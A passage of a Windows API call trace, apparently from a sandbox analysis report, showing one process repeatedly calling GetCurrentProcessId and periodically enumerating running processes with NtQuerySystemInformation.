returned 0x10c0 [0291.145] GetCurrentProcessId () returned 0x10c0 [0291.145] GetCurrentProcessId () returned 0x10c0 [0291.145] GetCurrentProcessId () returned 0x10c0 [0291.145] GetCurrentProcessId () returned 0x10c0 [0291.145] GetCurrentProcessId () returned 0x10c0 [0291.145] GetCurrentProcessId () returned 0x10c0 [0291.145] GetCurrentProcessId () returned 0x10c0 [0291.145] GetCurrentProcessId () returned 0x10c0 [0291.145] GetCurrentProcessId () returned 0x10c0 [0291.145] GetCurrentProcessId () returned 0x10c0 [0291.145] GetCurrentProcessId () returned 0x10c0 [0291.145] GetCurrentProcessId () returned 0x10c0 [0291.145] GetCurrentProcessId () returned 0x10c0 [0291.146] GetCurrentProcessId () returned 0x10c0 [0291.146] GetCurrentProcessId () returned 0x10c0 [0291.146] GetCurrentProcessId () returned 0x10c0 [0291.146] GetCurrentProcessId () returned 0x10c0 [0291.146] GetCurrentProcessId () returned 0x10c0 [0291.146] GetCurrentProcessId () returned 0x10c0 [0291.146] GetCurrentProcessId () returned 0x10c0 [0291.146] GetCurrentProcessId () returned 0x10c0 [0291.146] GetCurrentProcessId () returned 0x10c0 [0291.146] GetCurrentProcessId () returned 0x10c0 [0291.146] GetCurrentProcessId () returned 0x10c0 [0291.146] GetCurrentProcessId () returned 0x10c0 [0291.146] GetCurrentProcessId () returned 0x10c0 [0291.146] GetCurrentProcessId () returned 0x10c0 [0291.648] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12517c70, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x12517c70, ResultLength=0x1b7becb0*=0x1dd78) returned 0x0 [0291.649] GetCurrentProcessId () returned 0x10c0 [0291.649] GetCurrentProcessId () returned 0x10c0 [0291.649] GetCurrentProcessId () returned 0x10c0 [0291.649] GetCurrentProcessId () returned 0x10c0 [0291.650] GetCurrentProcessId () returned 0x10c0 [0291.650] GetCurrentProcessId () returned 0x10c0 [0291.650] GetCurrentProcessId () returned 0x10c0 [0291.650] GetCurrentProcessId () returned 0x10c0 [0291.650] GetCurrentProcessId () returned 0x10c0 [0291.650] GetCurrentProcessId () returned 0x10c0 [0291.650] GetCurrentProcessId () returned 0x10c0 [0291.650] GetCurrentProcessId () returned 0x10c0 [0291.650] GetCurrentProcessId () returned 0x10c0 [0291.650] GetCurrentProcessId () returned 0x10c0 [0291.650] GetCurrentProcessId () returned 0x10c0 [0291.650] GetCurrentProcessId () returned 0x10c0 [0291.650] GetCurrentProcessId () returned 0x10c0 [0291.650] GetCurrentProcessId () returned 0x10c0 [0291.650] GetCurrentProcessId () returned 0x10c0 [0291.650] GetCurrentProcessId () returned 0x10c0 [0291.650] GetCurrentProcessId () returned 0x10c0 [0291.650] GetCurrentProcessId () returned 0x10c0 [0291.650] GetCurrentProcessId () returned 0x10c0 [0291.650] GetCurrentProcessId () returned 0x10c0 [0291.650] GetCurrentProcessId () returned 0x10c0 [0291.650] GetCurrentProcessId () returned 0x10c0 [0291.650] GetCurrentProcessId () returned 0x10c0 [0291.650] GetCurrentProcessId () returned 0x10c0 [0291.650] GetCurrentProcessId () returned 0x10c0 [0291.650] GetCurrentProcessId () returned 0x10c0 [0291.650] GetCurrentProcessId () returned 0x10c0 [0291.650] GetCurrentProcessId () returned 0x10c0 [0291.651] GetCurrentProcessId () returned 0x10c0 [0291.651] GetCurrentProcessId () returned 0x10c0 [0291.651] GetCurrentProcessId () returned 0x10c0 [0291.651] GetCurrentProcessId () returned 0x10c0 [0291.651] GetCurrentProcessId () returned 0x10c0 [0291.651] GetCurrentProcessId () returned 0x10c0 [0291.651] GetCurrentProcessId () returned 0x10c0 [0291.651] GetCurrentProcessId () returned 0x10c0 [0291.651] GetCurrentProcessId () returned 0x10c0 [0291.651] GetCurrentProcessId () returned 0x10c0 [0291.651] GetCurrentProcessId () returned 0x10c0 [0291.651] GetCurrentProcessId () returned 0x10c0 [0291.651] GetCurrentProcessId () returned 0x10c0 [0291.651] GetCurrentProcessId () returned 0x10c0 [0291.651] GetCurrentProcessId () returned 0x10c0 [0291.651] GetCurrentProcessId () returned 0x10c0 [0291.651] GetCurrentProcessId () returned 0x10c0 [0291.651] GetCurrentProcessId () returned 0x10c0 [0291.651] GetCurrentProcessId () returned 0x10c0 [0291.651] GetCurrentProcessId () returned 0x10c0 [0291.652] GetCurrentProcessId () returned 0x10c0 [0291.652] GetCurrentProcessId () returned 0x10c0 [0291.652] GetCurrentProcessId () returned 0x10c0 [0291.652] GetCurrentProcessId () returned 0x10c0 [0291.652] GetCurrentProcessId () returned 0x10c0 [0291.652] GetCurrentProcessId () returned 0x10c0 [0291.652] GetCurrentProcessId () returned 0x10c0 [0291.652] GetCurrentProcessId () returned 0x10c0 [0291.652] GetCurrentProcessId () returned 0x10c0 [0291.652] GetCurrentProcessId () returned 0x10c0 [0291.652] GetCurrentProcessId () returned 0x10c0 [0291.652] GetCurrentProcessId () returned 0x10c0 [0291.652] GetCurrentProcessId () returned 0x10c0 [0291.652] GetCurrentProcessId () returned 0x10c0 [0291.652] GetCurrentProcessId () returned 0x10c0 [0291.652] GetCurrentProcessId () returned 0x10c0 [0291.652] GetCurrentProcessId () returned 0x10c0 [0291.652] GetCurrentProcessId () returned 0x10c0 [0291.652] GetCurrentProcessId () returned 0x10c0 [0291.653] GetCurrentProcessId () returned 0x10c0 [0291.653] GetCurrentProcessId () returned 0x10c0 [0291.653] GetCurrentProcessId () returned 0x10c0 [0291.653] GetCurrentProcessId () returned 0x10c0 [0291.653] GetCurrentProcessId () returned 0x10c0 [0291.653] GetCurrentProcessId () returned 0x10c0 [0291.653] GetCurrentProcessId () returned 0x10c0 [0291.653] GetCurrentProcessId () returned 0x10c0 [0291.653] GetCurrentProcessId () returned 0x10c0 [0291.653] GetCurrentProcessId () returned 0x10c0 [0291.653] GetCurrentProcessId () returned 0x10c0 [0291.653] GetCurrentProcessId () returned 0x10c0 [0291.653] GetCurrentProcessId () returned 0x10c0 [0291.653] GetCurrentProcessId () returned 0x10c0 [0291.653] GetCurrentProcessId () returned 0x10c0 [0291.653] GetCurrentProcessId () returned 0x10c0 [0291.653] GetCurrentProcessId () returned 0x10c0 [0291.653] GetCurrentProcessId () returned 0x10c0 [0291.653] GetCurrentProcessId () returned 0x10c0 [0291.653] GetCurrentProcessId () returned 0x10c0 [0291.653] GetCurrentProcessId () returned 0x10c0 [0291.654] GetCurrentProcessId () returned 0x10c0 [0291.654] GetCurrentProcessId () returned 0x10c0 [0291.654] GetCurrentProcessId () returned 0x10c0 [0291.654] GetCurrentProcessId () returned 0x10c0 [0291.654] GetCurrentProcessId () returned 0x10c0 [0291.654] GetCurrentProcessId () returned 0x10c0 [0291.654] GetCurrentProcessId () returned 0x10c0 [0291.654] GetCurrentProcessId () returned 0x10c0 [0291.654] GetCurrentProcessId () returned 0x10c0 [0291.654] GetCurrentProcessId () returned 0x10c0 [0291.654] GetCurrentProcessId () returned 0x10c0 [0291.654] GetCurrentProcessId () returned 0x10c0 [0291.654] GetCurrentProcessId () returned 0x10c0 [0291.654] GetCurrentProcessId () returned 0x10c0 [0291.654] GetCurrentProcessId () returned 0x10c0 [0291.654] GetCurrentProcessId () returned 0x10c0 [0291.654] GetCurrentProcessId () returned 0x10c0 [0291.654] GetCurrentProcessId () returned 0x10c0 [0291.654] GetCurrentProcessId () returned 0x10c0 [0291.654] GetCurrentProcessId () returned 0x10c0 [0292.163] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12517c70, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x12517c70, ResultLength=0x1b7becb0*=0x1de98) returned 0x0 [0292.167] GetCurrentProcessId () returned 0x10c0 [0292.167] GetCurrentProcessId () returned 0x10c0 [0292.167] GetCurrentProcessId () returned 0x10c0 [0292.167] GetCurrentProcessId () returned 0x10c0 [0292.167] GetCurrentProcessId () returned 0x10c0 [0292.167] GetCurrentProcessId () returned 0x10c0 [0292.167] GetCurrentProcessId () returned 0x10c0 [0292.167] GetCurrentProcessId () returned 0x10c0 [0292.167] GetCurrentProcessId () returned 0x10c0 [0292.167] GetCurrentProcessId () returned 0x10c0 [0292.167] GetCurrentProcessId () returned 0x10c0 [0292.167] GetCurrentProcessId () returned 0x10c0 [0292.167] GetCurrentProcessId () returned 0x10c0 [0292.167] GetCurrentProcessId () returned 0x10c0 [0292.167] GetCurrentProcessId () returned 0x10c0 [0292.167] GetCurrentProcessId () returned 0x10c0 [0292.167] GetCurrentProcessId () returned 0x10c0 [0292.167] GetCurrentProcessId () returned 0x10c0 [0292.167] GetCurrentProcessId () returned 0x10c0 [0292.167] GetCurrentProcessId () returned 0x10c0 [0292.167] GetCurrentProcessId () returned 0x10c0 [0292.167] GetCurrentProcessId () returned 0x10c0 [0292.167] GetCurrentProcessId () returned 0x10c0 [0292.167] GetCurrentProcessId () returned 0x10c0 [0292.167] GetCurrentProcessId () returned 0x10c0 [0292.167] GetCurrentProcessId () returned 0x10c0 [0292.167] GetCurrentProcessId () returned 0x10c0 [0292.168] GetCurrentProcessId () returned 0x10c0 [0292.168] GetCurrentProcessId () returned 0x10c0 [0292.168] GetCurrentProcessId () returned 0x10c0 [0292.168] GetCurrentProcessId () returned 0x10c0 [0292.168] GetCurrentProcessId () returned 0x10c0 [0292.168] GetCurrentProcessId () returned 0x10c0 [0292.168] GetCurrentProcessId () returned 0x10c0 [0292.168] GetCurrentProcessId () returned 0x10c0 [0292.168] GetCurrentProcessId () returned 0x10c0 [0292.168] GetCurrentProcessId () returned 0x10c0 [0292.168] GetCurrentProcessId () returned 0x10c0 [0292.168] GetCurrentProcessId () returned 0x10c0 [0292.168] GetCurrentProcessId () returned 0x10c0 [0292.168] GetCurrentProcessId () returned 0x10c0 [0292.168] GetCurrentProcessId () returned 0x10c0 [0292.168] GetCurrentProcessId () returned 0x10c0 [0292.168] GetCurrentProcessId () returned 0x10c0 [0292.168] GetCurrentProcessId () returned 0x10c0 [0292.168] GetCurrentProcessId () returned 0x10c0 [0292.168] GetCurrentProcessId () returned 0x10c0 [0292.169] GetCurrentProcessId () returned 0x10c0 [0292.169] GetCurrentProcessId () returned 0x10c0 [0292.169] GetCurrentProcessId () returned 0x10c0 [0292.169] GetCurrentProcessId () returned 0x10c0 [0292.169] GetCurrentProcessId () returned 0x10c0 [0292.169] GetCurrentProcessId () returned 0x10c0 [0292.169] GetCurrentProcessId () returned 0x10c0 [0292.169] GetCurrentProcessId () returned 0x10c0 [0292.169] GetCurrentProcessId () returned 0x10c0 [0292.169] GetCurrentProcessId () returned 0x10c0 [0292.169] GetCurrentProcessId () returned 0x10c0 [0292.169] GetCurrentProcessId () returned 0x10c0 [0292.169] GetCurrentProcessId () returned 0x10c0 [0292.169] GetCurrentProcessId () returned 0x10c0 [0292.169] GetCurrentProcessId () returned 0x10c0 [0292.169] GetCurrentProcessId () returned 0x10c0 [0292.169] GetCurrentProcessId () returned 0x10c0 [0292.170] GetCurrentProcessId () returned 0x10c0 [0292.170] GetCurrentProcessId () returned 0x10c0 [0292.170] GetCurrentProcessId () returned 0x10c0 [0292.170] GetCurrentProcessId () returned 0x10c0 [0292.170] GetCurrentProcessId () returned 0x10c0 [0292.170] GetCurrentProcessId () returned 0x10c0 [0292.170] GetCurrentProcessId () returned 0x10c0 [0292.170] GetCurrentProcessId () returned 0x10c0 [0292.170] GetCurrentProcessId () returned 0x10c0 [0292.170] GetCurrentProcessId () returned 0x10c0 [0292.170] GetCurrentProcessId () returned 0x10c0 [0292.170] GetCurrentProcessId () returned 0x10c0 [0292.170] GetCurrentProcessId () returned 0x10c0 [0292.170] GetCurrentProcessId () returned 0x10c0 [0292.170] GetCurrentProcessId () returned 0x10c0 [0292.170] GetCurrentProcessId () returned 0x10c0 [0292.170] GetCurrentProcessId () returned 0x10c0 [0292.170] GetCurrentProcessId () returned 0x10c0 [0292.170] GetCurrentProcessId () returned 0x10c0 [0292.170] GetCurrentProcessId () returned 0x10c0 [0292.170] GetCurrentProcessId () returned 0x10c0 [0292.170] GetCurrentProcessId () returned 0x10c0 [0292.170] GetCurrentProcessId () returned 0x10c0 [0292.170] GetCurrentProcessId () returned 0x10c0 [0292.170] GetCurrentProcessId () returned 0x10c0 [0292.170] GetCurrentProcessId () returned 0x10c0 [0292.170] GetCurrentProcessId () returned 0x10c0 [0292.170] GetCurrentProcessId () returned 0x10c0 [0292.170] GetCurrentProcessId () returned 0x10c0 [0292.170] GetCurrentProcessId () returned 0x10c0 [0292.170] GetCurrentProcessId () returned 0x10c0 [0292.171] GetCurrentProcessId () returned 0x10c0 [0292.171] GetCurrentProcessId () returned 0x10c0 [0292.171] GetCurrentProcessId () returned 0x10c0 [0292.171] GetCurrentProcessId () returned 0x10c0 [0292.171] GetCurrentProcessId () returned 0x10c0 [0292.171] GetCurrentProcessId () returned 0x10c0 [0292.171] GetCurrentProcessId () returned 0x10c0 [0292.171] GetCurrentProcessId () returned 0x10c0 [0292.171] GetCurrentProcessId () returned 0x10c0 [0292.171] GetCurrentProcessId () returned 0x10c0 [0292.171] GetCurrentProcessId () returned 0x10c0 [0292.171] GetCurrentProcessId () returned 0x10c0 [0292.171] GetCurrentProcessId () returned 0x10c0 [0292.171] GetCurrentProcessId () returned 0x10c0 [0292.171] GetCurrentProcessId () returned 0x10c0 [0292.171] GetCurrentProcessId () returned 0x10c0 [0292.171] GetCurrentProcessId () returned 0x10c0 [0292.171] GetCurrentProcessId () returned 0x10c0 [0292.679] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12517c70, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x12517c70, ResultLength=0x1b7becb0*=0x1de98) returned 0x0 [0292.715] GetCurrentProcessId () returned 0x10c0 [0292.715] GetCurrentProcessId () returned 0x10c0 [0292.716] GetCurrentProcessId () returned 0x10c0 [0292.716] GetCurrentProcessId () returned 0x10c0 [0292.716] GetCurrentProcessId () returned 0x10c0 [0292.716] GetCurrentProcessId () returned 0x10c0 [0292.716] GetCurrentProcessId () returned 0x10c0 [0292.716] GetCurrentProcessId () returned 0x10c0 [0292.716] GetCurrentProcessId () returned 0x10c0 [0292.716] GetCurrentProcessId () returned 0x10c0 [0292.716] GetCurrentProcessId () returned 0x10c0 [0292.716] GetCurrentProcessId () returned 0x10c0 [0292.716] GetCurrentProcessId () returned 0x10c0 [0292.716] GetCurrentProcessId () returned 0x10c0 [0292.716] GetCurrentProcessId () returned 0x10c0 [0292.716] GetCurrentProcessId () returned 0x10c0 [0292.716] GetCurrentProcessId () returned 0x10c0 [0292.716] GetCurrentProcessId () returned 0x10c0 [0292.716] GetCurrentProcessId () returned 0x10c0 [0292.716] GetCurrentProcessId () returned 0x10c0 [0292.716] GetCurrentProcessId () returned 0x10c0 [0292.716] GetCurrentProcessId () returned 0x10c0 [0292.716] GetCurrentProcessId () returned 0x10c0 [0292.716] GetCurrentProcessId () returned 0x10c0 [0292.716] GetCurrentProcessId () returned 0x10c0 [0292.716] GetCurrentProcessId () returned 0x10c0 [0292.716] GetCurrentProcessId () returned 0x10c0 [0292.716] GetCurrentProcessId () returned 0x10c0 [0292.717] GetCurrentProcessId () returned 0x10c0 [0292.717] GetCurrentProcessId () returned 0x10c0 [0292.717] GetCurrentProcessId () returned 0x10c0 [0292.717] GetCurrentProcessId () returned 0x10c0 [0292.717] GetCurrentProcessId () returned 0x10c0 [0292.717] GetCurrentProcessId () returned 0x10c0 [0292.717] GetCurrentProcessId () returned 0x10c0 [0292.717] GetCurrentProcessId () returned 0x10c0 [0292.717] GetCurrentProcessId () returned 0x10c0 [0292.717] GetCurrentProcessId () returned 0x10c0 [0292.717] GetCurrentProcessId () returned 0x10c0 [0292.717] GetCurrentProcessId () returned 0x10c0 [0292.717] GetCurrentProcessId () returned 0x10c0 [0292.717] GetCurrentProcessId () returned 0x10c0 [0292.717] GetCurrentProcessId () returned 0x10c0 [0292.717] GetCurrentProcessId () returned 0x10c0 [0292.717] GetCurrentProcessId () returned 0x10c0 [0292.717] GetCurrentProcessId () returned 0x10c0 [0292.717] GetCurrentProcessId () returned 0x10c0 [0292.717] GetCurrentProcessId () returned 0x10c0 [0292.717] GetCurrentProcessId () returned 0x10c0 [0292.717] GetCurrentProcessId () returned 0x10c0 [0292.717] GetCurrentProcessId () returned 0x10c0 [0292.717] GetCurrentProcessId () returned 0x10c0 [0292.717] GetCurrentProcessId () returned 0x10c0 [0292.717] GetCurrentProcessId () returned 0x10c0 [0292.717] GetCurrentProcessId () returned 0x10c0 [0292.717] GetCurrentProcessId () returned 0x10c0 [0292.717] GetCurrentProcessId () returned 0x10c0 [0292.717] GetCurrentProcessId () returned 0x10c0 [0292.718] GetCurrentProcessId () returned 0x10c0 [0292.718] GetCurrentProcessId () returned 0x10c0 [0292.718] GetCurrentProcessId () returned 0x10c0 [0292.718] GetCurrentProcessId () returned 0x10c0 [0292.718] GetCurrentProcessId () returned 0x10c0 [0292.718] GetCurrentProcessId () returned 0x10c0 [0292.718] GetCurrentProcessId () returned 0x10c0 [0292.718] GetCurrentProcessId () returned 0x10c0 [0292.718] GetCurrentProcessId () returned 0x10c0 [0292.718] GetCurrentProcessId () returned 0x10c0 [0292.718] GetCurrentProcessId () returned 0x10c0 [0292.718] GetCurrentProcessId () returned 0x10c0 [0292.718] GetCurrentProcessId () returned 0x10c0 [0292.718] GetCurrentProcessId () returned 0x10c0 [0292.718] GetCurrentProcessId () returned 0x10c0 [0292.718] GetCurrentProcessId () returned 0x10c0 [0292.718] GetCurrentProcessId () returned 0x10c0 [0292.718] GetCurrentProcessId () returned 0x10c0 [0292.718] GetCurrentProcessId () returned 0x10c0 [0292.718] GetCurrentProcessId () returned 0x10c0 [0292.718] GetCurrentProcessId () returned 0x10c0 [0292.718] GetCurrentProcessId () returned 0x10c0 [0292.718] GetCurrentProcessId () returned 0x10c0 [0292.718] GetCurrentProcessId () returned 0x10c0 [0292.718] GetCurrentProcessId () returned 0x10c0 [0292.718] GetCurrentProcessId () returned 0x10c0 [0292.718] GetCurrentProcessId () returned 0x10c0 [0292.718] GetCurrentProcessId () returned 0x10c0 [0292.718] GetCurrentProcessId () returned 0x10c0 [0292.718] GetCurrentProcessId () returned 0x10c0 [0292.719] GetCurrentProcessId () returned 0x10c0 [0292.719] GetCurrentProcessId () returned 0x10c0 [0292.719] GetCurrentProcessId () returned 0x10c0 [0292.719] GetCurrentProcessId () returned 0x10c0 [0292.719] GetCurrentProcessId () returned 0x10c0 [0292.719] GetCurrentProcessId () returned 0x10c0 [0292.719] GetCurrentProcessId () returned 0x10c0 [0292.719] GetCurrentProcessId () returned 0x10c0 [0292.719] GetCurrentProcessId () returned 0x10c0 [0292.719] GetCurrentProcessId () returned 0x10c0 [0292.719] GetCurrentProcessId () returned 0x10c0 [0292.719] GetCurrentProcessId () returned 0x10c0 [0292.719] GetCurrentProcessId () returned 0x10c0 [0292.719] GetCurrentProcessId () returned 0x10c0 [0292.719] GetCurrentProcessId () returned 0x10c0 [0292.719] GetCurrentProcessId () returned 0x10c0 [0292.719] GetCurrentProcessId () returned 0x10c0 [0292.719] GetCurrentProcessId () returned 0x10c0 [0292.719] GetCurrentProcessId () returned 0x10c0 [0292.719] GetCurrentProcessId () returned 0x10c0 [0292.719] GetCurrentProcessId () returned 0x10c0 [0292.719] GetCurrentProcessId () returned 0x10c0 [0292.719] GetCurrentProcessId () returned 0x10c0 [0292.719] GetCurrentProcessId () returned 0x10c0 [0292.719] GetCurrentProcessId () returned 0x10c0 [0293.226] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12517c70, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x12517c70, ResultLength=0x1b7becb0*=0x1dee8) returned 0x0 [0293.229] GetCurrentProcessId () returned 0x10c0 [0293.229] GetCurrentProcessId () returned 0x10c0 [0293.229] GetCurrentProcessId () returned 0x10c0 [0293.229] GetCurrentProcessId () returned 0x10c0 [0293.229] GetCurrentProcessId () returned 0x10c0 [0293.229] GetCurrentProcessId () returned 0x10c0 [0293.230] GetCurrentProcessId () returned 0x10c0 [0293.230] GetCurrentProcessId () returned 0x10c0 [0293.230] GetCurrentProcessId () returned 0x10c0 [0293.230] GetCurrentProcessId () returned 0x10c0 [0293.230] GetCurrentProcessId () returned 0x10c0 [0293.230] GetCurrentProcessId () returned 0x10c0 [0293.230] GetCurrentProcessId () returned 0x10c0 [0293.230] GetCurrentProcessId () returned 0x10c0 [0293.230] GetCurrentProcessId () returned 0x10c0 [0293.230] GetCurrentProcessId () returned 0x10c0 [0293.230] GetCurrentProcessId () returned 0x10c0 [0293.230] GetCurrentProcessId () returned 0x10c0 [0293.230] GetCurrentProcessId () returned 0x10c0 [0293.230] GetCurrentProcessId () returned 0x10c0 [0293.230] GetCurrentProcessId () returned 0x10c0 [0293.230] GetCurrentProcessId () returned 0x10c0 [0293.230] GetCurrentProcessId () returned 0x10c0 [0293.230] GetCurrentProcessId () returned 0x10c0 [0293.230] GetCurrentProcessId () returned 0x10c0 [0293.230] GetCurrentProcessId () returned 0x10c0 [0293.230] GetCurrentProcessId () returned 0x10c0 [0293.230] GetCurrentProcessId () returned 0x10c0 [0293.230] GetCurrentProcessId () returned 0x10c0 [0293.230] GetCurrentProcessId () returned 0x10c0 [0293.230] GetCurrentProcessId () returned 0x10c0 [0293.230] GetCurrentProcessId () returned 0x10c0 [0293.230] GetCurrentProcessId () returned 0x10c0 [0293.230] GetCurrentProcessId () returned 0x10c0 [0293.231] GetCurrentProcessId () returned 0x10c0 [0293.231] GetCurrentProcessId () returned 0x10c0 [0293.231] GetCurrentProcessId () returned 0x10c0 [0293.231] GetCurrentProcessId () returned 0x10c0 [0293.231] GetCurrentProcessId () returned 0x10c0 [0293.231] GetCurrentProcessId () returned 0x10c0 [0293.231] GetCurrentProcessId () returned 0x10c0 [0293.231] GetCurrentProcessId () returned 0x10c0 [0293.231] GetCurrentProcessId () returned 0x10c0 [0293.231] GetCurrentProcessId () returned 0x10c0 [0293.231] GetCurrentProcessId () returned 0x10c0 [0293.231] GetCurrentProcessId () returned 0x10c0 [0293.231] GetCurrentProcessId () returned 0x10c0 [0293.231] GetCurrentProcessId () returned 0x10c0 [0293.231] GetCurrentProcessId () returned 0x10c0 [0293.231] GetCurrentProcessId () returned 0x10c0 [0293.231] GetCurrentProcessId () returned 0x10c0 [0293.231] GetCurrentProcessId () returned 0x10c0 [0293.231] GetCurrentProcessId () returned 0x10c0 [0293.231] GetCurrentProcessId () returned 0x10c0 [0293.231] GetCurrentProcessId () returned 0x10c0 [0293.231] GetCurrentProcessId () returned 0x10c0 [0293.231] GetCurrentProcessId () returned 0x10c0 [0293.231] GetCurrentProcessId () returned 0x10c0 [0293.231] GetCurrentProcessId () returned 0x10c0 [0293.231] GetCurrentProcessId () returned 0x10c0 [0293.231] GetCurrentProcessId () returned 0x10c0 [0293.231] GetCurrentProcessId () returned 0x10c0 [0293.231] GetCurrentProcessId () returned 0x10c0 [0293.231] GetCurrentProcessId () returned 0x10c0 [0293.231] GetCurrentProcessId () returned 0x10c0 [0293.232] GetCurrentProcessId () returned 0x10c0 [0293.232] GetCurrentProcessId () returned 0x10c0 [0293.232] GetCurrentProcessId () returned 0x10c0 [0293.232] GetCurrentProcessId () returned 0x10c0 [0293.232] GetCurrentProcessId () returned 0x10c0 [0293.232] GetCurrentProcessId () returned 0x10c0 [0293.232] GetCurrentProcessId () returned 0x10c0 [0293.232] GetCurrentProcessId () returned 0x10c0 [0293.232] GetCurrentProcessId () returned 0x10c0 [0293.232] GetCurrentProcessId () returned 0x10c0 [0293.232] GetCurrentProcessId () returned 0x10c0 [0293.232] GetCurrentProcessId () returned 0x10c0 [0293.232] GetCurrentProcessId () returned 0x10c0 [0293.232] GetCurrentProcessId () returned 0x10c0 [0293.232] GetCurrentProcessId () returned 0x10c0 [0293.232] GetCurrentProcessId () returned 0x10c0 [0293.232] GetCurrentProcessId () returned 0x10c0 [0293.232] GetCurrentProcessId () returned 0x10c0 [0293.232] GetCurrentProcessId () returned 0x10c0 [0293.232] GetCurrentProcessId () returned 0x10c0 [0293.232] GetCurrentProcessId () returned 0x10c0 [0293.232] GetCurrentProcessId () returned 0x10c0 [0293.232] GetCurrentProcessId () returned 0x10c0 [0293.232] GetCurrentProcessId () returned 0x10c0 [0293.232] GetCurrentProcessId () returned 0x10c0 [0293.232] GetCurrentProcessId () returned 0x10c0 [0293.232] GetCurrentProcessId () returned 0x10c0 [0293.232] GetCurrentProcessId () returned 0x10c0 [0293.233] GetCurrentProcessId () returned 0x10c0 [0293.233] GetCurrentProcessId () returned 0x10c0 [0293.233] GetCurrentProcessId () returned 0x10c0 [0293.233] GetCurrentProcessId () returned 0x10c0 [0293.233] GetCurrentProcessId () returned 0x10c0 [0293.233] GetCurrentProcessId () returned 0x10c0 [0293.233] GetCurrentProcessId () returned 0x10c0 [0293.233] GetCurrentProcessId () returned 0x10c0 [0293.233] GetCurrentProcessId () returned 0x10c0 [0293.233] GetCurrentProcessId () returned 0x10c0 [0293.233] GetCurrentProcessId () returned 0x10c0 [0293.233] GetCurrentProcessId () returned 0x10c0 [0293.233] GetCurrentProcessId () returned 0x10c0 [0293.233] GetCurrentProcessId () returned 0x10c0 [0293.233] GetCurrentProcessId () returned 0x10c0 [0293.233] GetCurrentProcessId () returned 0x10c0 [0293.233] GetCurrentProcessId () returned 0x10c0 [0293.233] GetCurrentProcessId () returned 0x10c0 [0293.233] GetCurrentProcessId () returned 0x10c0 [0293.233] GetCurrentProcessId () returned 0x10c0 [0293.765] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12517c70, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x12517c70, ResultLength=0x1b7becb0*=0x1df38) returned 0x0 [0293.767] GetCurrentProcessId () returned 0x10c0 [0293.767] GetCurrentProcessId () returned 0x10c0 [0293.767] GetCurrentProcessId () returned 0x10c0 [0293.767] GetCurrentProcessId () returned 0x10c0 [0293.767] GetCurrentProcessId () returned 0x10c0 [0293.767] GetCurrentProcessId () returned 0x10c0 [0293.767] GetCurrentProcessId () returned 0x10c0 [0293.767] GetCurrentProcessId () returned 0x10c0 [0293.767] GetCurrentProcessId () returned 0x10c0 [0293.767] GetCurrentProcessId () returned 0x10c0 [0293.768] GetCurrentProcessId () returned 0x10c0 [0293.768] GetCurrentProcessId () returned 0x10c0 [0293.768] GetCurrentProcessId () returned 0x10c0 [0293.768] GetCurrentProcessId () returned 0x10c0 [0293.768] GetCurrentProcessId () returned 0x10c0 [0293.768] GetCurrentProcessId () returned 0x10c0 [0293.768] GetCurrentProcessId () returned 0x10c0 [0293.768] GetCurrentProcessId () returned 0x10c0 [0293.768] GetCurrentProcessId () returned 0x10c0 [0293.768] GetCurrentProcessId () returned 0x10c0 [0293.768] GetCurrentProcessId () returned 0x10c0 [0293.768] GetCurrentProcessId () returned 0x10c0 [0293.768] GetCurrentProcessId () returned 0x10c0 [0293.768] GetCurrentProcessId () returned 0x10c0 [0293.768] GetCurrentProcessId () returned 0x10c0 [0293.768] GetCurrentProcessId () returned 0x10c0 [0293.768] GetCurrentProcessId () returned 0x10c0 [0293.768] GetCurrentProcessId () returned 0x10c0 [0293.768] GetCurrentProcessId () returned 0x10c0 [0293.768] GetCurrentProcessId () returned 0x10c0 [0293.768] GetCurrentProcessId () returned 0x10c0 [0293.768] GetCurrentProcessId () returned 0x10c0 [0293.768] GetCurrentProcessId () returned 0x10c0 [0293.768] GetCurrentProcessId () returned 0x10c0 [0293.768] GetCurrentProcessId () returned 0x10c0 [0293.768] GetCurrentProcessId () returned 0x10c0 [0293.768] GetCurrentProcessId () returned 0x10c0 [0293.768] GetCurrentProcessId () returned 0x10c0 [0293.768] GetCurrentProcessId () returned 0x10c0 [0293.768] GetCurrentProcessId () returned 0x10c0 [0293.768] GetCurrentProcessId () returned 0x10c0 [0293.769] GetCurrentProcessId () returned 0x10c0 [0293.769] GetCurrentProcessId () returned 0x10c0 [0293.769] GetCurrentProcessId () returned 0x10c0 [0293.769] GetCurrentProcessId () returned 0x10c0 [0293.769] GetCurrentProcessId () returned 0x10c0 [0293.769] GetCurrentProcessId () returned 0x10c0 [0293.769] GetCurrentProcessId () returned 0x10c0 [0293.769] GetCurrentProcessId () returned 0x10c0 [0293.769] GetCurrentProcessId () returned 0x10c0 [0293.769] GetCurrentProcessId () returned 0x10c0 [0293.769] GetCurrentProcessId () returned 0x10c0 [0293.769] GetCurrentProcessId () returned 0x10c0 [0293.769] GetCurrentProcessId () returned 0x10c0 [0293.769] GetCurrentProcessId () returned 0x10c0 [0293.769] GetCurrentProcessId () returned 0x10c0 [0293.769] GetCurrentProcessId () returned 0x10c0 [0293.769] GetCurrentProcessId () returned 0x10c0 [0293.769] GetCurrentProcessId () returned 0x10c0 [0293.769] GetCurrentProcessId () returned 0x10c0 [0293.769] GetCurrentProcessId () returned 0x10c0 [0293.769] GetCurrentProcessId () returned 0x10c0 [0293.769] GetCurrentProcessId () returned 0x10c0 [0293.769] GetCurrentProcessId () returned 0x10c0 [0293.769] GetCurrentProcessId () returned 0x10c0 [0293.769] GetCurrentProcessId () returned 0x10c0 [0293.769] GetCurrentProcessId () returned 0x10c0 [0293.769] GetCurrentProcessId () returned 0x10c0 [0293.769] GetCurrentProcessId () returned 0x10c0 [0293.769] GetCurrentProcessId () returned 0x10c0 [0293.769] GetCurrentProcessId () returned 0x10c0 [0293.769] GetCurrentProcessId () returned 0x10c0 [0293.769] GetCurrentProcessId () returned 0x10c0 [0293.770] GetCurrentProcessId () returned 0x10c0 [0293.770] GetCurrentProcessId () returned 0x10c0 [0293.770] GetCurrentProcessId () returned 0x10c0 